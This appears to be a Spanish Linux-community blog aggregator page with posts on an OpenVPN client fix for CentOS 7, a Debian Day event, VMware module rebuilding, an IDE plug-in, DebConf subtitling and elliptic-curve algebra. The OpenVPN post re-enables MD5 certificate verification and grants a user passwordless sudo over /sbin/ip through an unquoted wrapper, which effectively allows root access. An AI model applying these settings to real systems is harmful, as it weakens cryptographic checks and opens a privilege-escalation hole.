Jueves 11 de agosto de 2016

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

OpenVPN client en CentOS/RHEL

La única forma que conocen los humanos de llegar a alguna parte es dejando algo atrás…

Joseph CooperInterestellar

 

Hace unos días, un cliente me comentó que actualizó sus terminales de venta (que utilizaban Fedora 23) a CentOS 7, debido a cuestiones de estabilidad; pero que tenía problemas para conectarse a su VPN.

Al intentar conectarse obtenía el error:

[root@terminal openvpn]# openvpn --config client.conf 
Thu Jul 04 09:13:53 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Thu Jul 04 09:13:53 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Thu Jul 04 09:13:53 2016 WARNING: No server certificate verification method has been enabled. See http://openvpn.net/howto.html#mitm for more info.
Thu Jul 04 09:13:53 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Thu Jul 04 09:13:53 2016 Attempting to establish TCP connection with [AF_INET]93.184.216.34:1194 [nonblock]
Thu Jul 04 09:13:54 2016 TCP connection established with [AF_INET]93.184.216.34:1194
Thu Jul 04 09:13:54 2016 TCPv4_CLIENT link local: [undef]
Thu Jul 04 09:13:54 2016 TCPv4_CLIENT link remote: [AF_INET]93.184.216.34:1194
Thu Jul 04 09:13:54 2016 TLS: Initial packet from [AF_INET]93.184.216.34:1194, sid=a0dc7955 8adfd915
Thu Jul 04 09:13:55 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA, emailAddress=seguridad@changarrito.com.mx
Thu Jul 04 09:13:55 2016 VERIFY ERROR: depth=0, error=certificate signature failure: C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er, emailAddress=seguridad@changarrito.com.mx
Thu Jul 04 09:13:55 2016 OpenSSL: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Thu Jul 04 09:13:55 2016 TLS_ERROR: BIO read tls_read_plaintext error
Thu Jul 04 09:13:55 2016 TLS Error: TLS object -> incoming plaintext read error
Thu Jul 04 09:13:55 2016 TLS Error: TLS handshake failed
Thu Jul 04 09:13:55 2016 Fatal TLS error (check_tls_errors_co), restarting
Thu Jul 04 09:13:55 2016 SIGUSR1[soft,tls-error] received, process restarting
Thu Jul 04 09:13:55 2016 Restart pause, 5 second(s)
Thu Jul 04 09:14:00 2016 WARNING: No server certificate verification method has been enabled. See http://openvpn.net/howto.html#mitm for more info.
...

Al revisar el mensaje de error, se observa que el problema es el certificado de SSL que no puede ser leído. Esto se debe a que el soporte a certificados encriptados con MD5 y SHA1 fue retirado de CentOS.

Por lo que hay que setear unas variables de ambiente en el perfil de root, para agregar el soporte de MD5:

[root@terminal openvpn]# vi ~/.bash_profile
export NSS_HASH_ALG_SUPPORT=+MD5
export OPENSSL_ENABLE_MD5_VERIFY=1
[root@terminal openvpn]#

Al realizar esta configuración y cargar dichas variables, la conexión se logra sin problemas:

[root@terminal openvpn]# openvpn --config client.conf
Thu Jul 04 22:25:38 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Thu Jul 04 22:25:38 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Thu Jul 04 22:25:38 2016 WARNING: No server certificate verification method has been enabled. See http://openvpn.net/howto.html#mitm for more info.
Thu Jul 04 22:25:38 2016 WARNING: file 'changarrin1818a.key' is group or others accessible
Thu Jul 04 22:25:38 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Thu Jul 04 22:25:42 2016 Attempting to establish TCP connection with [AF_INET]93.184.216.34:1194 [nonblock]
Thu Jul 04 22:25:43 2016 TCP connection established with [AF_INET]93.184.216.34:1194
Thu Jul 04 22:25:43 2016 TCPv4_CLIENT link local: [undef]
Thu Jul 04 22:25:43 2016 TCPv4_CLIENT link remote: [AF_INET]93.184.216.34:1194
Thu Jul 04 22:25:43 2016 TLS: Initial packet from [AF_INET]93.184.216.34:1194, sid=bfa77b04 f30e3b9f
Thu Jul 04 22:25:43 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA, emailAddress=seguridad@changarrito.com.mx
Thu Jul 04 22:25:43 2016 VERIFY OK: depth=0, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er, emailAddress=seguridad@changarrito.com.mx
Thu Jul 04 22:25:44 2016 Data Channel Encrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Thu Jul 04 22:25:44 2016 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Thu Jul 04 22:25:44 2016 Data Channel Decrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Thu Jul 04 22:25:44 2016 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Thu Jul 04 22:25:44 2016 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA
Thu Jul 04 22:25:44 2016 [server-er] Peer Connection Initiated with [AF_INET]93.184.216.34:1194
Thu Jul 04 22:25:46 2016 SENT CONTROL [server-er]: 'PUSH_REQUEST' (status=1)
Thu Jul 04 22:25:46 2016 PUSH: Received control message: 'PUSH_REPLY,route 192.168.110.0 255.255.255.0,route 192.168.170.0 255.255.255.0,route 192.168.43.0 255.255.255.0,route 192.168.70.32 255.255.255.224,route 10.20.0.0 255.255.255.0,topology net30,ping 20,ping-restart 60,ifconfig 10.20.13.205 10.20.13.206'
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: timers and/or timeouts modified
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: --ifconfig/up options modified
Thu Jul 04 22:25:46 2016 OPTIONS IMPORT: route options modified
Thu Jul 04 22:25:46 2016 ROUTE_GATEWAY 192.168.122.1/255.255.255.0 IFACE=eth0 HWADDR=52:54:00:69:6c:4b
Thu Jul 04 22:25:46 2016 TUN/TAP device tun0 opened
Thu Jul 04 22:25:46 2016 TUN/TAP TX queue length set to 100
Thu Jul 04 22:25:46 2016 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Thu Jul 04 22:25:46 2016 /usr/sbin/ip link set dev tun0 up mtu 1500
Thu Jul 04 22:25:46 2016 /usr/sbin/ip addr add dev tun0 local 10.20.13.205 peer 10.20.13.206
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add 192.168.110.0/24 via 10.20.13.206
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add 192.168.170.0/24 via 10.20.13.206
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add 192.168.43.0/24 via 10.20.13.206
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add 192.168.70.32/27 via 10.20.13.206
Thu Jul 04 22:25:46 2016 /usr/sbin/ip route add 10.20.0.0/24 via 10.20.13.206
Thu Jul 04 22:25:46 2016 Initialization Sequence Completed

^CThu Jul 04 22:25:56 2016 event_wait : Interrupted system call (code=4)
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del 10.20.0.0/24
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del 192.168.70.32/27
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del 192.168.43.0/24
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del 192.168.170.0/24
Thu Jul 04 22:25:56 2016 /usr/sbin/ip route del 192.168.110.0/24
Thu Jul 04 22:25:56 2016 Closing TUN/TAP interface
Thu Jul 04 22:25:56 2016 /usr/sbin/ip addr del dev tun0 local 10.20.13.205 peer 10.20.13.206
Thu Jul 04 22:25:56 2016 SIGINT[hard,] received, process exiting
[root@terminal openvpn]#

Sin embargo, la conexión se debe ejecutar como un usuario sin privilegios de administrador; entonces debemos realizar una configuración que le permita a este usuario crear los dispositivos y las rutas necesarias para completar la conexión. Para esto

Como root:

  • Crear el script /usr/local/sbin/unpriv-ip
[root@terminal ~]# vi /usr/local/sbin/unpriv-ip
#!/bin/sh
sudo /sbin/ip $*
[root@terminal ~]#
  • Editar la configuración de sudo para otorgar permisos sobre las interfaces de red
[root@terminal ~]# visudo
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
chalan ALL=(ALL) NOPASSWD: /sbin/ip
...
  • Editar el archivo de configuración de cliente de la vpn como:
[root@terminal ~]# vi /etc/openvpn/client.conf
client
dev tun0
iproute /usr/local/sbin/unpriv-ip
proto tcp
remote rpv.changarrito.com.mx 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert changarrito1818a.crt
key changarrito1818a.key
cipher DES-EDE3-CBC
comp-lzo
verb 3
[root@terminal ~]#
  • Crear el dispositivo persistente de conexión:
[root@terminal ~]# openvpn --mktun --dev tun0 --dev-type tun --user chalan --group wheel
  • Validar la creación del dispositivo
[root@terminal ~]# ip addr show tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc pfifo_fast state DOWN qlen 100
 link/none
[root@terminal ~]#

Como usuario:

  • Verificar los permisos de sudo
[chalan@terminal ~]$ sudo -l
Matching Defaults entries for chalan on this host:
 requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
 LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
 LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
 env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User chalan may run the following commands on this host:
 (ALL) NOPASSWD: /sbin/ip
[chalan@terminal ~]$
  • Probar la conexión a la vpn:
[chalan@terminal ~]$ cd /etc/openvpn
[chalan@terminal openvpn]$ openvpn --config client.conf
Wed Jul 10 12:20:04 2016 OpenVPN 2.3.11 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on May 10 2016
Wed Jul 10 12:20:04 2016 library versions: OpenSSL 1.0.1e-fips 11 Feb 2013, LZO 2.06
Wed Jul 10 12:20:04 2016 WARNING: No server certificate verification method has been enabled. See http://openvpn.net/howto.html#mitm for more info.
Wed Jul 10 12:20:04 2016 WARNING: file 'changarrito1818a.key' is group or others accessible
Wed Jul 10 12:20:04 2016 Socket Buffers: R=[87380->87380] S=[16384->16384]
Wed Jul 10 12:20:14 2016 Attempting to establish TCP connection with [AF_INET]93.184.216.34:1194 [nonblock]
Wed Jul 10 12:20:15 2016 TCP connection established with [AF_INET]93.184.216.34:1194
Wed Jul 10 12:20:15 2016 TCPv4_CLIENT link local: [undef]
Wed Jul 10 12:20:15 2016 TCPv4_CLIENT link remote: [AF_INET]93.184.216.34:1194
Wed Jul 10 12:20:15 2016 TLS: Initial packet from [AF_INET]93.184.216.34:1194, sid=bb779162 bdcacb5c
Wed Jul 10 12:20:17 2016 VERIFY OK: depth=1, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=Mi Changarrito S.A. de C.V. CA, emailAddress=seguridad@changarrito.com.mx
Wed Jul 10 12:20:17 2016 VERIFY OK: depth=0, C=MX, ST=DF, L=CDMX, O=Mi Changarrito S.A. de C.V., CN=server-er, emailAddress=seguridad@changarrito.com.mx
Wed Jul 10 12:20:17 2016 Data Channel Encrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Wed Jul 10 12:20:17 2016 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Wed Jul 10 12:20:17 2016 Data Channel Decrypt: Cipher 'DES-EDE3-CBC' initialized with 192 bit key
Wed Jul 10 12:20:17 2016 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Wed Jul 10 12:20:17 2016 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA
Wed Jul 10 12:20:17 2016 [server-er] Peer Connection Initiated with [AF_INET]93.184.216.34:1194
Wed Jul 10 12:20:19 2016 SENT CONTROL [server-er]: 'PUSH_REQUEST' (status=1)
Wed Jul 10 12:20:20 2016 PUSH: Received control message: 'PUSH_REPLY,route 192.168.110.0 255.255.255.0,route 192.168.170.0 255.255.255.0,route 192.168.43.0 255.255.255.0,route 192.168.70.32 255.255.255.224,route 10.20.0.0 255.255.255.0,topology net30,ping 20,ping-restart 60,ifconfig 10.20.13.205 10.20.13.206'
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: timers and/or timeouts modified
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: --ifconfig/up options modified
Wed Jul 10 12:20:20 2016 OPTIONS IMPORT: route options modified
Wed Jul 10 12:20:20 2016 ROUTE_GATEWAY 192.168.122.1/255.255.255.0 IFACE=eth0 HWADDR=52:54:00:92:cf:f5
Wed Jul 10 12:20:20 2016 TUN/TAP device tun0 opened
Wed Jul 10 12:20:20 2016 Note: Cannot set tx queue length on tun0: Operation not permitted (errno=1)
Wed Jul 10 12:20:20 2016 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip link set dev tun0 up mtu 1500
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip addr add dev tun0 local 10.20.13.205 peer 10.20.13.206
Wed Jul 10 12:20:20 2016 /usr/local/sbin/unpriv-ip route add 192.168.110.0/24 via 10.20.13.206
Wed Jul 10 12:20:21 2016 /usr/local/sbin/unpriv-ip route add 192.168.170.0/24 via 10.20.13.206
Wed Jul 10 12:20:22 2016 /usr/local/sbin/unpriv-ip route add 192.168.43.0/24 via 10.20.13.206
Wed Jul 10 12:20:23 2016 /usr/local/sbin/unpriv-ip route add 192.168.70.32/27 via 10.20.13.206
Wed Jul 10 12:20:23 2016 /usr/local/sbin/unpriv-ip route add 10.20.0.0/24 via 10.20.13.206
Wed Jul 10 12:20:24 2016 Initialization Sequence Completed

Una vez que se han validado las configuraciones, para conectarse únicamente se requerirá utilizar el comando:

[chalan@terminal ~]$ cd /etc/openvpn
[chalan@terminal openvpn]$ openvpn --config client.conf

Espero les sirva…

 

Referencias

[CentOS7:OpenVPN] VERIFY ERROR: depth=0, error=certificate signature failure

OpenVPN Howto: Unprivileged Mode

Lunes 08 de agosto de 2016

Día Debian 2016

Los invitamos a asistir al Día Debian 2016 que tendrá lugar en la Ciudad de México en el espacio autónomo «Rancho electrónico» http://ranchoelectronico.org/ el sábado 13 de agosto a partir de las 11:00 hrs., para pasar un buen rato de convivencia e intercambio de conocimiento con Software Libre, entrada libre. Este es el programa:

Cartel
Día Debian 2016 Ciudad de México
Área 1
11:00-11:10 hrs. Presentación del Hackerspace «Rancho Electrónico» y su nuevo espacio.
11:15-20:00 hrs. Jornadas de instalaciones de Debian – Voluntarias y voluntarios.
11:15-20:00 hrs. Intercambio de llaves GPG.
14:00-14:10 hrs. Presentación del Hackerspace «Rancho Electrónico» y su nuevo espacio (Segunda vez para las y los asistentes de la tarde).

Área 2
11:15-12:30 hrs. Taller – Introducción a la línea de comandos. – Raúl.
12:30-13:55 hrs. Taller – Estadística con R Project. – Raúl.
14:00-14:10 hrs. Presentación del Hackerspace «Rancho Electrónico» y su nuevo espacio (Segunda vez para las y los asistentes de la tarde).
14:15-14:45 hrs. Plática – El Proyecto Debian y la importancia de colaborar en comunidades de Software Libre. – Jathan.
14:45-15:00 hrs. Comida y breve intermedio.
15:00-15:55 hrs. Plática – ¿Qué es Fluxbox? Un vistazo a fluxbox-keys y algunas macros posibles. – Ricardo.
16:00-17:30 hrs. Taller – Instalación de Debian en laptop. – Ernesto.
17:30-19:30 hrs. Taller – Instalación de servidores Debian. – Ernesto.
19:30-20:30 hrs. Plática – Administración de sistemas GNU/Linux con Debian – Ernesto.

Área 3
16:00-16:55 hrs. Taller – Virtualización de servidores con KVM y QEMU en Debian Jessie. – Jathan.
17:00-18:55 hrs. Taller – FAI (Fully Automatic Installation). – k054.
19:00-20:55 hrs. Taller – Instalación de BunsenLabs. – Daniel.

La dirección del Rancho es:

Lorenzo Boturini #61, esquina Bolívar, Colonia Obrera, Delegación Cuauhtémoc, Ciudad de México, México.

Estaciones de metro cercanas: Doctores y San Antonio Abad
Trolebus: Dr. Velasco

Y acá las indicaciones más detalladas para llegar:
http://ranchoelectronico.org/como-llegar/

Viernes 05 de agosto de 2016

José Oviedo

José Oviedo
oviedo.mx

Problema con VMware y Ubuntu 16.10 (GCC 6)

Despues de actualizar Ubuntu a la versión 16.10 Yakkety con el Kernel 4.4.0 y al iniciar VMware, me encuentro con un error de que no puede encontrar la librería GCC versión 5.3.1 ya que la actualización la cambio a GCC version 6.1.1 20160724 (Ubuntu 6.1.1-10ubuntu11)

vmware-gcc-problem

La solución es compilar los módulos de vmmon y vmnet con la última versión GCC y el nuevo Kernel.
Lo primero es descargar una versión del VMware Workstation Player 12.0 (esa es la que yo tengo actualmente) para descomprimir y compilar los módulos.

En esta página lo descargamos: https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0

Después ejecutar los siguientes pasos (todo como Root)

chmod +x VMware-Player-12.1.1-3770994.x86_64.bin
./VMware-Player-12.1.1-3770994.x86_64.bin -x temp
tar xf ./temp/vmware-vmx/lib/modules/source/vmmon.tar
tar xf ./temp/vmware-vmx/lib/modules/source/vmnet.tar

Lo que hacemos con el -x temp, es descomprimir el .BIN, para despues, descomprimir los módulos vmmon y vmnet, lo siguiente es iniciar la compilación (asegurate de tener las librerias de compilación: sudo apt-get install build-essential linux-headers-generic )

cd vmmon-only
make
cd ..

cd vmnet-only
make
cd ..

Y por último copiamos lo compilado a la carpeta de módulos del Kernel actual

mkdir /lib/modules/`uname -r`/misc
cp vmmon.o /lib/modules/`uname -r`/misc/vmmon.ko
cp vmnet.o /lib/modules/`uname -r`/misc/vmnet.ko
depmod -a
/etc/init.d/vmware restart

vmware-restart

Y listo! ya debe de funcionar, ahora, si actualizamos el Kernel, debemos de seguir estos pasos, hasta que se tenga una solución automatizada.

Alcance Libre: LibreOffice 5.2 ya está disponible

Viernes 29 de julio de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

Asset Previewer

Mobile developers are working with all kinds of graphics assets and until now, to preview them, we would use an external tool to browse them.

We have developed a plug-in for both Visual Studio and Xamarin Studio that will provide live previews of various assets right into the IDE. It works particularly well for UrhoSharp projects.

The previewer can display in the IDE previews of the following asset types.

  • Static Models (*.mdl files)
  • Materials, Skyboxes, Textures (*.dds)
  • Animations (*.ani)
  • 2D and 3D Particles (*.pex)
  • Urho Prefabs (*.xml if the XML is an Urho Prefab)
  • Scenes (*.xml if the XML is an Urho Scene)
  • SDF Fonts (*.sdf)
  • Post-process effects (*.xml if the XML is an Urho RenderPath)
  • Urho UI layouts (*.xml if the XML is an Urho UI).

For Visual Studio, just download the previwer from the Visual Studio Gallery.

For Xamarin Studio, go to Xamarin Studio > Add-ins go to the "Gallery" tab, and search for "Graphics asset previewer" and install.

Jueves 28 de julio de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Subtitling DebConf talks — Come and join!

As I have said here a couple of times already, I am teaching a diploma course on embedded Linux at UNAM, and one of the modules I'm teaching (with Sandino Araico) is the boot process. We focus on ARM for obvious reasons, and while I have done my reading on the topic, I am very far from considering myself an expert.

So, after attending Martin Michlmayr's «Debian on ARM devices» talk, I decided to do its subtitles as part of my teaching job. This talk gives a great panorama on what actually has to happen in order to get an ARM machine to boot, and how support for new ARM devices comes around to Linux in general and to Debian in particular — Perfect for our topic! But my students are not always very fluent in English, so giving a hand is always most welcome.

In case any of you dear readers didn't know, we have a DebConf subtitling team. Yes, our work takes much longer to reach the public, and we have no hopes whatsoever in getting it completed, but every person lending a hand and subtitling a talk that they thought was interesting helps a lot to improve our talks' usability. Even if you don't have enough time to do the whole talk (we are talking about some 6hr per 45 minute session), adding a bit of work is very very very welcome. So...

Enjoy — And thanks in advance for your work!

Lunes 18 de julio de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Algebras de endomorfismos en curvas elípticas (Parte 1 Anillos de Endomorfismos)

Hoy quiero hablar un poco de cómo analizar internamente la estructura de un grupo abeliano, lo cual lo haremos con el grupo abeliano que forma una curva elíptica.

Es decir, a veces para poder entender a un objeto, es indispensable poder entender los morfismos internos del objeto.
En este caso, lo que quiero es poder estudiar al grupo abeliano como un "espacio vectorial" y estudiar las transformaciones que hay en él... y pues con esto podemos incluso hablar de matrices, determinantes, trazas, polinomios característicos y valores propios.

Pero primero en esta parte, le daremos estructura de anillo a los homomorfismos de la curva en si misma, y en la siguiente parte de este post le daremos ya estructura de álgebra.

Recordando muy informalmente curvas elípticas

Recordemos rápidamente el contexto deseado, que son la curvas elípticas de una manera muy informal ya que he hablado antes de esto aquí en mi blog (busca keyword "elíptica").

Las curvas elípticas son objetos muy usados en criptografía ya que proveen con su estructura geométrica una manera diferente de "sumar y restar" que al ésta ser sustituida en los algoritmos de llave pública como Diffie-Hellman que es el más usado en todas las telecomunicaciones en vez de grupos finitos (enteros módulo un número primo usualmente) resulta muy rápido y más seguro. Un ejemplo intuitivo de cómo funciona esta suma es el siguiente:




Lo que estamos viendo aquí es una curva $latex E$ en azul, y dos puntos en ella que son $latex P,Q\in E$ , que su suma está definida como la proyección con el eje $latex x$ del tercer punto de intersección de la linea que los une, que en este dibujo está denotado como $latex P+Q$.

Siempre habrá este tercer punto de intersección si la curva es vista de manera proyectiva, lo cual veremos en la siguiente sección y es justificado por el teorema de Bézout.

Si quisieras calcular el punto $latex P+P$ se hace de manera parecida, sólo que la linea a considerar es la tangente a $latex P$ en la curva $latex E$.

El negativo de un punto es sólo su proyección con el eje $latex x$ es decir si $latex (x,y)\in E$ entonces $latex -(x,y)=(x,-y)$, y sumar $latex P+ (-P)=\infty$ , donde este $latex \infty$ será explicado en la siguiente sección y este $latex \infty$ nos funcionará como el cero (identidad) en la estructura de grupo abeliano que tiene la curva.

Bajo esta operación tenemos que la curva $latex E$ y sus puntos forman un grupo abeliano, es decir, con sus puntos bajo esta operación ya explicada es conmutativa, cada elemento tiene un inverso, es asociativa y cerrada, y lo más importante... es algebraica... es decir,  hay fórmulas explícitas que no necesitan funciones raras para definirlas (como raíces cuadradas, logaritmos ni nada).

Entrando un poco más en lo que significa "algebraico" es que su suma se puede definir con simples cocientes de polinomios, a eso me refiero con que algo sea "algebraico", y más allá de ser una curva, esto se le llama variedad abeliana, que es un objeto algebraico dotado de una estructura de grupo con una operación continua bajo cierta topología (Zariski), y que está dada por polinomios cuya operación explícita puede ser vista aquí en wikipedia.

Puedes notar que también puedes calcular "$latex n$ veces el punto $latex P$ , es decir $latex P+P+\ldots +P$  ($latex n$ veces) para todo $latex n\in \mathbb{Z}$ , por lo que significa que podemos "hacer actuar a los enteros en la curva", esto es lo que se le conoce como un $latex \mathbb{Z}$-módulo, y todo grupo abeliano, tiene esta capacidad, por más abstracto que sea el grupo, siempre se puede hablar de "$latex n$ veces aplicar la operación + del gropo".

La definición formal es que son curvas suaves proyectivas de género 1 con un punto distinguido.

Suaves significa que son diferenciables en todos lados y no hay puntos dobles o nodales por ejemplo dos que cumplen la definición vistas en $latex \mathbb{R}\times\mathbb{R}$ serían:


Espacio proyectivo.

Aquí justificamos este símbolo $latex \infty$.
Proyectivo significa que en vez de vivir en espacios vectoriales usales como $latex \mathbb{R}^n$ o $latex \mathbb{F}_{q}$ , vive en un nuevo espacio que ahora definiremos que es $latex \mathbb{P}^n_\mathbb{R}$ o en  $latex \mathbb{P}^n_{\mathbb{F}_q}$ respectivamente, donde estos espacios incluyen un punto nuevo, que es el infinito y múltiplos de vectores serán identificadas con un sólo punto.

Este espacio proyectivo lo tengo bien explicado aquí pero a grandes rasgos es un espacio en el cual identificamos todos los múltiplos de un punto como el mismo punto, imaginen un espacio vectorial, donde un vector $latex v$ al aumentar su magnitud por una constante $latex c\neq 0 \in \mathbb{R}$ tenemos que el nuevo vector sería $latex c \cdot v$. Aquí , tenemos que por ejemplo en $latex \mathbb{R}^n$ los puntos $latex v$ y $latex c \cdot v$ serán identificados con el mismo vector, es decir es como una contracción y a este nuevo espacio con esta nueva regla lo denotamos como  $latex \mathbb{P}^n_\mathbb{R}$.

El punto $latex [0:0:0]$ no existe, lo cual es una consecuencia de las reglas que acabo de definir, por lo que al interesado en álgebra le serviría la definición que es:  $latex \mathbb{P}^n_\mathbb{R}:=\mathbb{R}^{n+1}\setminus \lbrace \overline{0} \rbrace /\sim$ donde la relación $latex \sim$ es que si $latex \overline{u},\overline{v}\in \mathbb{R}^{n+1}$ entonces $latex \overline{u}\sim \overline{v}$ sí y sólo sí $latex \overline{u} = \lambda \overline{v}$ donde $latex \lambda\in \mathbb{R}^{*}$ , es decir esto nos colapsa toda una familia de puntos en $latex \mathbb{R}^{n+1}$ a un sólo punto que denotaremos como $latex [u] \in \mathbb{P}^n_\mathbb{R}$ y tenemos que en este caso $latex [u]=[v]$.


Y de hecho las ecuaciones proyectivas de los ejemplos anteriores serían la ecuación homogénea que hace que los grados de todos los monomios sean iguales $latex y^2z=x^3-xz^2$  así como $latex y^2z=x^3-xz^2 + z^3$ donde ahora vemos que tiene otra variable $latex z$ que nos permitirá agregar otra familia de puntos, por ejemplo, los puntos de la ecuación afín serían los puntos de la forma $latex [x:y:1]$ pero también tenemos que la ecuación también tiene el punto $latex [0:1:0]$  que será el punto racional distinguido, y todas las ecuaciones cúbicas de esta forma lo contienen.


También agregamos un punto muy especial como ya vimos que es usualmente $latex \infty:=[0:1:0]$ que es muy usado en el modelo matemático de lo que significa dibujar "horizontes" en un paisaje, y observando que unas vías del tren no son paralelas, ya que se tocan en el infinito, como lo pueden ver aquí.




Y bueno una curva elíptica de género 1 sin puntos raros, siempre es transformable a una ecuación de la forma $latex y^2 = x^3 + ax+b$ mediante sustitución de variables, a esta forma se le llama forma de Weierstrass.

Género de una curva

El género es un poco más difícil de explicar en este post y con esta informalidad, pero imaginen que tiene que ver con que si la ecuación de la curva la vemos en el espacio complejo... su gráfica será una dona con 1 hoyo... si fueran dos hoyos tendría género 2, por lo que una curva elíptica tiene género 1 y se ve así  "intuitivamente" como una función compleja:







A mi me gusta mucho el álgebra así que podemos calcular de hecho géneros de maneras más abstractas gracias aun teorema muy interesante, de Riemann-Roch, que nos dice el género de un objeto geométrico con la dimensión de ciertos espacios de funciones el cual tengo explicado de manera formal aquí.

Estoy trabajando en mi mente un artículo para explicar el teorema de Riemann-Roch sin necesitar álgebra tan dura, con pura teoría de espacios vectoriales, espero pronto tenerlo.

El género cuando no hay puntos raros en la ecuación, se puede calcular con los grados de los monomios en una ecuación.


En términos criptográficos, recuerden que hasta ahora las computadoras no saben cómo manejar a los números reales (ni complejos), de manera continua, es decir, cuando ustedes programan un "float" o "double" sabemos que tienen un "límite" en su representación, por lo que realmente la computadora sólo sabe manejar estructuras finitas.

Estructura finita asociada a las curvas para poder usada en criptografía y computación.

Algo interesante de las curvas elípticas es que su estructura de grupo funciona en cualquier campo... no sólo en los números reales, los complejos o los racionales que son infinitos... sino en campos finitos, como son los enteros módulo p.

De manera básica y para no entrar en detalles tenemos que si escogemos cualquier número primo $latex p$ , tenemos que si $latex a,b\in \mathbb{Z}$ podemos calcular que $latex a\cdot b\equiv c \bmod p$  donde $latex c$ será solamente el residuo de la división al calcular $latex a\cdot b/p $ , este residuo está entre el 0 y $latex p-1$, y todo entero se puede reducir módulo $latex p$ de la misma forma (dividiendo entre $latex p$ y calculando su residuo), este conjunto donde juntas a todos los elementos reducidos en sus respectivas clases se denota como $latex \mathbb{F}_p$ y consta de $latex p$ elementos, del 0 al $latex p-1$.


La suma se define de manera similar y todo elemento tiene un inverso multiplicativo y aditivo, es decir para todo $latex [a]\in \mathbb{F}_p$ tenemos que existe un $latex [a]^{-1}\in \mathbb{F}_p$ tal que $latex [a]\cdot [a]^{-1} = [1]$  , por ejemplo en $latex \mathbb{F}_7$ tenemos que el inverso  multiplicativo de $latex [3]$ es $latex [5]$ ya que $latex 5\cdot 3=15$ y $latex 15\equiv 1\bmod 7$ por lo que podemos decir abusando de la notación que "dividir entre $latex [3]$" módulo $latex 7$ equivale a multiplicar por $latex [5]$.
Con la suma el negativo de $latex [a]\in \mathbb{F}_p$ es de hecho $latex [p-1]\cdot [a]$ ya que $latex (p-1)\cdot a = pa-a \equiv -a \bmod p$ , por ejemplo en $latex \mathbb{F}_7$ tenemos que $latex -[3]= (p-1)\cdot 3 = 6\cdot 3 = 18 \equiv 4 \bmod 7$ , por lo que $latex -[3] \equiv [4]$ y es fácil verificarlo ya que al sumar con su inverso aditivo al 3 tenemos que $latex -[3] + [3] = [4] + [3] \equiv 0 \bmod 7$ (ya que no deja residuo).

Se pueden definir campos para cada potencia de $latex p$ es decir $latex \mathbb{F}_{p^n}$ pero eso queda de tarea para ustedes investigar cómo se hace.

Con esto tenemos que si evaluamos todas las posibles soluciones de una curva elíptica bajo esta aritmética, tenemos que ya no se ve como una "curva", pero realmente lo es en el sentido algebraico, y se ve por ejemplo $latex y^2=x^3 - 4x+6$ sobre $latex \mathbb{F}_{197}$ así:



